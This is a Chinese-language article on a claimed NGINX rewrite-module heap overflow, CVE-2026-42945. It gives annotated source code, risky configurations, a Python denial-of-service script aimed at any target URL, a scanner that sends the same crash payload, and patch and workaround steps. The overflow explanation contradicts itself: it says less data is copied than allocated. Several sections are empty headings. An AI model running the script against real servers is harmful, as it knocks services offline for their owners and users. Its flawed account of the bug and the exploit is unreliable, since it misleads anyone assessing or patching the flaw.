一、漏洞爆发:全球1/3网站面临灭顶之灾
2026年5月12日,NGINX官方发布紧急安全公告,披露了一个潜伏长达18年的高危漏洞CVE-2026-42945(代号"NGINX Rift")。该漏洞CVSS v4.0评分高达9.2分(Critical),影响从2008年发布的0.6.27版本到最新的1.30.0版本,覆盖了过去18年间几乎所有的NGINX部署。
据Netcraft统计,截至2026年5月,NGINX占据全球Web服务器市场37.2%的份额,超过Apache和IIS的总和。这意味着全球超过1.3亿个网站和API网关直接暴露在该漏洞的威胁之下。更令人担忧的是,漏洞利用门槛极低,无需任何认证,且公开PoC已在GitHub发布,攻击者只需发送一个精心构造的HTTP请求,即可导致NGINX worker进程崩溃,甚至在特定条件下实现远程代码执行,完全接管服务器。
二、技术原理深度剖析:一行代码引发的18年灾难
2.1 漏洞本质:堆缓冲区溢出的完美风暴
CVE-2026-42945的根源在于ngx_http_rewrite_module重写模块中一个极其隐蔽的逻辑错误。当配置中存在特定模式的rewrite规则时,NGINX在处理正则表达式捕获组替换时会出现"长度计算与数据拷贝不一致"的问题,最终触发堆缓冲区溢出。
2.2 核心代码缺陷分析
漏洞位于ngx_http_script_regex_replace函数中,我们来看NGINX 1.30.0版本的相关源码:
// 漏洞所在函数:ngx_http_script_regex_replace
// 文件:src/http/ngx_http_script.c
void
ngx_http_script_regex_replace(ngx_http_request_t *r, ngx_http_script_code_t *code,
ngx_http_script_engine_t *e)
{
// … 省略部分代码 …
if (is_args) {
// 问题1:is_args是函数局部变量,但被错误地永久置1
// 当替换串包含'?'时,is_args被设置为1
// 但在后续的循环处理中,这个标志没有被重置
len += ngx_strlen(args);
}
// 第一遍:计算目标缓冲区长度
// 此时如果is_args=1,会额外加上args的长度
dst = ngx_pnalloc(r->pool, len + 1);
if (dst == NULL) {
ngx_http_script_error(r, e, NGX_HTTP_INTERNAL_SERVER_ERROR);
return;
}
// 第二遍:实际拷贝数据
// 问题2:此时is_args仍然为1,但实际拷贝时并没有加上args的内容
// 导致拷贝的数据长度小于计算的长度,留下了堆溢出的空间
p = dst;
while (*src) {
if (*src == '$' && *(src+1) >= '1' && *(src+1) <= '9') {
// 处理捕获组替换
// … 省略替换逻辑 …
} else {
*p++ = *src++;
}
}
// … 省略部分代码 …
}
2.3 完整触发流程
漏洞的触发需要满足三个精确的条件,我们通过流程图来详细说明:
#mermaid-svg-rEumUhuZ2td9jfWj{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-rEumUhuZ2td9jfWj .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-rEumUhuZ2td9jfWj .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-rEumUhuZ2td9jfWj .error-icon{fill:#552222;}#mermaid-svg-rEumUhuZ2td9jfWj .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-rEumUhuZ2td9jfWj .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-rEumUhuZ2td9jfWj .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-rEumUhuZ2td9jfWj .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-rEumUhuZ2td9jfWj .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-rEumUhuZ2td9jfWj .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-rEumUhuZ2td9jfWj .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-rEumUhuZ2td9jfWj .marker{fill:#333333;stroke:#333333;}#mermaid-svg-rEumUhuZ2td9jfWj .marker.cross{stroke:#333333;}#mermaid-svg-rEumUhuZ2td9jfWj svg{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-rEumUhuZ2td9jfWj p{margin:0;}#mermaid-svg-rEumUhuZ2td9jfWj .label{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;color:#333;}#mermaid-svg-rEumUhuZ2td9jfWj .cluster-label text{fill:#333;}#mermaid-svg-rEumUhuZ2td9jfWj .cluster-label span{color:#333;}#mermaid-svg-rEumUhuZ2td9jfWj .cluster-label span p{background-color:transparent;}#mermaid-svg-rEumUhuZ2td9jfWj .label text,#mermaid-svg-rEumUhuZ2td9jfWj span{fill:#333;color:#333;}#mermaid-svg-rEumUhuZ2td9jfWj .node rect,#mermaid-svg-rEumUhuZ2td9jfWj .node circle,#mermaid-svg-rEumUhuZ2td9jfWj .node ellipse,#mermaid-svg-rEumUhuZ2td9jfWj .node polygon,#mermaid-svg-rEumUhuZ2td9jfWj .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-rEumUhuZ2td9jfWj .rough-node .label text,#mermaid-svg-rEumUhuZ2td9jfWj .node .label text,#mermaid-svg-rEumUhuZ2td9jfWj .image-shape .label,#mermaid-svg-rEumUhuZ2td9jfWj .icon-shape .label{text-anchor:middle;}#mermaid-svg-rEumUhuZ2td9jfWj .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-rEumUhuZ2td9jfWj .rough-node .label,#mermaid-svg-rEumUhuZ2td9jfWj .node .label,#mermaid-svg-rEumUhuZ2td9jfWj .image-shape .label,#mermaid-svg-rEumUhuZ2td9jfWj .icon-shape .label{text-align:center;}#mermaid-svg-rEumUhuZ2td9jfWj .node.clickable{cursor:pointer;}#mermaid-svg-rEumUhuZ2td9jfWj .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-rEumUhuZ2td9jfWj .arrowheadPath{fill:#333333;}#mermaid-svg-rEumUhuZ2td9jfWj .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-rEumUhuZ2td9jfWj .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-rEumUhuZ2td9jfWj .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-rEumUhuZ2td9jfWj .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-rEumUhuZ2td9jfWj .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-rEumUhuZ2td9jfWj .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-rEumUhuZ2td9jfWj .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-rEumUhuZ2td9jfWj .cluster text{fill:#333;}#mermaid-svg-rEumUhuZ2td9jfWj .cluster span{color:#333;}#mermaid-svg-rEumUhuZ2td9jfWj div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-rEumUhuZ2td9jfWj .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-rEumUhuZ2td9jfWj rect.text{fill:none;stroke-width:0;}#mermaid-svg-rEumUhuZ2td9jfWj .icon-shape,#mermaid-svg-rEumUhuZ2td9jfWj .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-rEumUhuZ2td9jfWj .icon-shape p,#mermaid-svg-rEumUhuZ2td9jfWj .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-rEumUhuZ2td9jfWj .icon-shape .label rect,#mermaid-svg-rEumUhuZ2td9jfWj .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-rEumUhuZ2td9jfWj .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-rEumUhuZ2td9jfWj .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-rEumUhuZ2td9jfWj :root{–mermaid-font-family:\”trebuchet ms\”,verdana,arial,sans-serif;}
是
否
是
否
客户端发送特殊URI请求
NGINX匹配第一条rewrite规则
替换串包含'?'且使用$1/$2捕获组?
is_args标志被置1
正常处理,无漏洞
计算目标缓冲区长度:包含args长度
分配堆内存
执行数据拷贝:未包含args内容
紧随其后有第二条rewrite/if/set指令?
is_args标志未被重置,仍然为1
正常结束,无溢出
处理第二条指令时,再次使用错误的is_args值
长度计算再次出错,缓冲区溢出
覆写内存池指针
触发DoS或RCE
2.4 典型危险配置示例
以下是几种在生产环境中极其常见的危险配置模式:
模式1:最常见的PHP前端控制器配置
# 危险!几乎所有PHP网站都在使用这种配置
server {
listen 80;
server_name example.com;
root /var/www/html;
location / {
# 第一条rewrite:包含?和$1捕获组
rewrite ^/(.*)$ /index.php?$1 break;
# 第二条rewrite:紧随其后,触发漏洞
rewrite ^/admin/(.*)$ /admin/index.php?$1 break;
}
}
模式2:API网关路由转发配置
# 危险!常见于微服务API网关
location /api/v1/ {
set $service "user-service";
# 第一条rewrite:包含?和$1
rewrite ^/api/v1/(.*)$ /$1?$args break;
# 第二条if指令:紧随其后,触发漏洞
if ($request_method = POST) {
proxy_pass http://$service:8080;
}
}
模式3:URL重定向配置
# 危险!常见于旧域名跳转
rewrite ^/(.*)$ https://new.example.com/$1?$args permanent;
rewrite ^/blog/(.*)$ https://blog.new.example.com/$1 permanent;
三、完整利用链分析:从DoS到远程代码执行
3.1 基础DoS攻击(100%成功率)
无论目标是否开启ASLR(地址空间布局随机化),攻击者都可以稳定地触发DoS攻击。攻击原理是通过构造特殊的URI,使NGINX worker进程在处理rewrite规则时发生堆缓冲区溢出,导致进程崩溃。
PoC示例(Python):
import requests
import sys
def nginx_rift_dos(target):
# 构造触发漏洞的特殊URI
# 关键:包含多个捕获组和特殊字符
payload = "/" + "A"*1000 + "?" + "B"*1000
try:
for i in range(10):
print(f"[+] 发送第 {i+1} 次攻击请求…")
response = requests.get(target + payload, timeout=5)
except requests.exceptions.ConnectionError:
print("[!] 目标服务器已崩溃,DoS攻击成功!")
return True
except Exception as e:
print(f"[-] 攻击失败:{e}")
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"用法:python {sys.argv[0]} http://target.com")
sys.exit(1)
target = sys.argv[1]
nginx_rift_dos(target)
3.2 远程代码执行(RCE)利用
当目标服务器关闭ASLR时(这在一些老旧的企业内部系统中非常常见),攻击者可以利用堆溢出覆写NGINX内存池的指针,进而执行任意代码。
RCE攻击链:
公开的RCE PoC已实现以下功能:
- 执行任意系统命令
- 读取/写入任意文件
- 反弹交互式shell
- 提权至root用户
四、影响范围与危害评估
4.1 受影响的软件版本
| 开源版NGINX | 0.6.27 ~ 1.30.0 | 1.30.1、1.31.0+ |
| NGINX Plus | R32 ~ R36 | R32 P6、R36 P4、R37+ |
| NGINX Ingress Controller | 3.0.0 ~ 3.6.0 | 3.6.1+ |
| NGINX Gateway Fabric | 1.0.0 ~ 1.4.0 | 1.4.1+ |
| NGINX Instance Manager | 2.10.0 ~ 2.14.0 | 2.14.1+ |
4.2 危害等级评估
| DoS攻击 | 100% | 所有受影响版本 | 高(服务完全不可用) |
| RCE攻击(ASLR关闭) | 90% | 老旧系统、内部系统 | 极高(完全接管服务器) |
| RCE攻击(ASLR开启) | 10% | 部分系统 | 中高(需要绕过ASLR) |
4.3 行业影响分析
- 互联网行业:电商、社交、游戏等网站面临大规模服务中断风险
- 金融行业:银行、证券、支付系统可能被攻击者窃取敏感数据
- 政府与企业:内部系统和政务网站可能被植入后门
- 云服务提供商:基于NGINX的CDN、负载均衡服务可能被批量攻击
五、紧急修复与临时规避方案
5.1 方案一:升级到安全版本(强烈推荐)
这是最彻底的修复方案,建议所有受影响的用户立即升级NGINX。
升级步骤(CentOS/RHEL):
# 备份现有配置
cp -r /etc/nginx /etc/nginx.backup
# 更新NGINX仓库
yum update nginx
# 验证版本
nginx -v
# 应该显示:nginx version: nginx/1.30.1
# 重启NGINX服务
systemctl restart nginx
# 检查服务状态
systemctl status nginx
升级步骤(Ubuntu/Debian):
# 备份现有配置
cp -r /etc/nginx /etc/nginx.backup
# 更新软件包列表
apt update
# 升级NGINX
apt upgrade nginx
# 验证版本
nginx -v
# 重启NGINX服务
systemctl restart nginx
5.2 方案二:临时规避配置(无法立即升级时)
如果无法立即升级,可以通过修改NGINX配置来规避漏洞。核心原则是:避免在包含?和捕获组的rewrite指令后紧跟其他rewrite/if/set指令。
通用规避方法:
# 原危险配置
rewrite ^/(.*)$ /index.php?$1 break;
rewrite ^/admin/(.*)$ /admin/index.php?$1 break;
# 安全改写:使用location块分隔
location / {
rewrite ^/(.*)$ /index.php?$1 break;
}
location /admin/ {
rewrite ^/admin/(.*)$ /admin/index.php?$1 break;
}
PHP前端控制器安全配置:
# 原危险配置
location / {
rewrite ^/(.*)$ /index.php?$1 break;
if (!-e $request_filename) {
rewrite ^/(.*)$ /index.php?$1 last;
}
}
# 安全改写:使用try_files替代
location / {
try_files $uri $uri/ /index.php?$query_string;
}
API网关安全配置:
# 原危险配置
location /api/v1/ {
set $service "user-service";
rewrite ^/api/v1/(.*)$ /$1?$args break;
proxy_pass http://$service:8080;
}
# 安全改写:将set指令移到location外
set $service "user-service";
location /api/v1/ {
rewrite ^/api/v1/(.*)$ /$1?$args break;
proxy_pass http://$service:8080;
}
5.3 方案三:禁用rewrite模块(业务允许时)
如果业务不使用rewrite功能,可以直接禁用该模块:
# 重新编译NGINX,禁用rewrite模块
./configure –without-http_rewrite_module
make && make install
六、漏洞检测与验证方法
6.1 版本检测
# 检查NGINX版本
nginx -v
# 如果版本在0.6.27到1.30.0之间,则可能受影响
6.2 配置检测
使用以下命令检查是否存在危险配置:
# 检查包含?和$1-$9的rewrite规则
grep -rE "rewrite.*\\?.*\\$[1-9]" /etc/nginx/
# 检查是否有紧随其后的rewrite/if/set指令
grep -A1 -rE "rewrite.*\\?.*\\$[1-9]" /etc/nginx/ | grep -E "rewrite|if|set"
6.3 漏洞扫描
使用以下Python脚本进行漏洞检测:
import requests
import sys
def check_nginx_rift(target):
try:
# 发送正常请求
response1 = requests.get(target, timeout=5)
status1 = response1.status_code
# 发送触发漏洞的请求
payload = "/" + "A"*2000 + "?" + "B"*2000
response2 = requests.get(target + payload, timeout=5)
status2 = response2.status_code
# 再次发送正常请求
response3 = requests.get(target, timeout=5)
status3 = response3.status_code
# 如果中间请求返回500或连接错误,则可能存在漏洞
if status2 == 500 or status3 != status1:
print("[!] 目标可能存在CVE-2026-42945漏洞!")
return True
else:
print("[+] 目标不存在漏洞或已修复")
return False
except requests.exceptions.ConnectionError:
print("[!] 目标服务器崩溃,存在CVE-2026-42945漏洞!")
return True
except Exception as e:
print(f"[-] 检测失败:{e}")
return None
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"用法:python {sys.argv[0]} http://target.com")
sys.exit(1)
target = sys.argv[1]
check_nginx_rift(target)
七、行业启示与前瞻性思考
7.1 为什么这个漏洞能潜伏18年?
CVE-2026-42945的爆发给整个软件安全行业敲响了警钟。一个存在了18年的漏洞,隐藏在全球最常用的Web服务器的核心模块中,却从未被发现。这背后有几个深层次的原因:
7.2 未来的安全趋势
7.3 企业安全建议
八、总结与行动建议
CVE-2026-42945是近年来影响最广泛、危害最严重的Web服务器漏洞之一。它潜伏了18年,影响了全球超过1.3亿个网站,且利用门槛极低,公开PoC已发布。
立即采取以下行动:
这个漏洞的爆发再次提醒我们,网络安全没有一劳永逸的解决方案。只有保持警惕,不断完善安全防护体系,才能在日益复杂的网络威胁环境中保护好我们的系统和数据。
